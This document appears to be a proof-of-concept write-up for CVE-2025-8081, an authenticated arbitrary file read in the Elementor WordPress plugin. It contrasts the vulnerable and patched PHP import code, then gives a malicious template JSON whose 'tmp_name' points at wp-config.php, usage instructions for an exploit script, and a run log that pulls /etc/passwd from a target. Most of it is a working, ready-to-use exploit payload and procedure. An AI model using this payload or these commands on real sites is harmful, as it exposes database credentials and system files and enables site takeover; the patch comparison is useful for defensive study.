elementor/includes/template-library/classes/class-import-images.php
Line 115 (v3.28.3)

if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = Utils::file_get_contents( $attachment['tmp_name'] );  // ❌ NO VALIDATION!
}

if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = false;
    // security validation in case the tmp_name has been tampered with
    if ( is_uploaded_file( $attachment['tmp_name'] ) ) {  // ✅ VALIDATION ADDED!
        $file_content = Utils::file_get_contents( $attachment['tmp_name'] );
    }
}

{
  "content": [{
    "id": "s1",
    "elType": "section",
    "settings": [],
    "elements": [{
      "id": "c1",
      "elType": "column",
      "settings": {"_column_size": 100},
      "elements": [{
        "id": "w1",
        "elType": "widget",
        "widgetType": "image",
        "settings": {
          "image": {
            "url": "http://x.com/x.jpg",
            "id": 1,
            "tmp_name": "/var/www/html/wp-config.php",
            "name": "leaked_config.txt"
          }
        },
        "elements": []
      }]
    }]
  }],
  "version": "0.4",
  "type": "page"
}

python3 exploit.py -t https://target.com -u admin -p password123

Required Arguments:
  -t, --target URL        Target WordPress URL (e.g., https://target.com)
  -u, --user USERNAME     WordPress admin username
  -p, --password PASS     WordPress admin password

Optional Arguments:
  -f, --file PATH         File to read (default: /var/www/html/wp-config.php)
  -o, --output FILE       Output filename (default: auto-generated)
  --insecure, -k          Disable SSL certificate verification
  -v, --verbose           Enable verbose output for debugging
  -h, --help              Show help message

# Basic exploitation (reads wp-config.php with default payload)
python3 exploit.py -t http://target.com -u admin -p password123

# Custom target file
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd

# With HTTPS and self-signed certificate
python3 exploit.py -t https://target.com -u admin -p password123 --insecure

# Verbose mode with custom output
python3 exploit.py -t http://target.com -u admin -p password123 \
  -f /etc/passwd -o users.txt -v

# From OrbStack/Docker targeting host machine
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v

Kali:~$ python3 exploit.py  -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd

======================================================================
 CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File:   /etc/passwd
======================================================================

[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes

======================================================================
 EXPLOITATION SUCCESSFUL!
======================================================================
File URL:  http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to:  leaked_passwd.txt

--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================